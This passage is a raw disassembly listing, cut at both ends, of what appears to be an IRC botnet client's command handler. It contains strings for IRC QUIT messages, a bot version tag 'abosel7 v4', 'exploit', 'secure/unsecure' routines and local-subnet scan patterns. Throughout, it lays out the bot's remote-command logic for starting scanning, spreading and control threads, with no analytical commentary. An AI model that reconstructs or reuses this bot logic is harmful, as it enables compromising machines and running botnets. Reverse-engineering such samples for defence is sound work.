[ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax call near ptr 2670A4Bh nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C198 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h nop call near ptr 2670EEFh jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj nop call near ptr 26808B7h push eax push offset unk_42C15C loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB98 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C120 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 2670EEFh jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj nop call near ptr 26808B7h push eax push offset unk_42C0E4 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB900 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0C0 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C094 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C068 loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C044 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C018 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42C000 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFE4 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFB8 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF90 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF70 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call near ptr 2690648h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF58 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF38 loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF14 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call near ptr 2670EEFh nop jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j nop call near ptr 26808B7h push eax lea eax, [ebp+var_2C4] push offset unk_42BED8 push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEC0 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA7C call dword_4CB93C call sub_4188A6 push ebx nop call near ptr 77E75CB5h loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BEA8 jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE90 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE78 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h call near ptr 2670EEFh nop jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j nop call near ptr 26808B7h push eax push offset unk_42BE40 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE28 call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE24 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BE04 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h call near ptr 2670EEFh nop jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j call near ptr 26808B7h nop push eax push offset unk_42BDC8 jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aDark ; "Dark" push offset unk_42BDB0 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB724 call sub_41ADD8 pop ecx push eax push offset unk_42BD84 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD34 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD04 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCF4 push offset dword_42BCE4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCD8 push offset dword_42BCC8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BCA0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h nop call near ptr 2670EEFh jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j nop call near ptr 26808B7h push eax push offset dword_42BC64 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h nop call near ptr 2670EEFh jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 26808B7h push eax push offset unk_42BBF8 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBC4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j call near ptr 26808B7h nop push eax push offset dword_42BB88 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB38 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB28 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD60 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAFC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAD0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD60 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx nop call near ptr 77E75CB5h loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF190, ebx jz short loc_404A01 push offset dword_4CEB70 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA94 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA54 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB70 call sub_41C890 pop ecx mov dword_4CF190, 1 pop ecx push edi push offset unk_42BA28 loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, 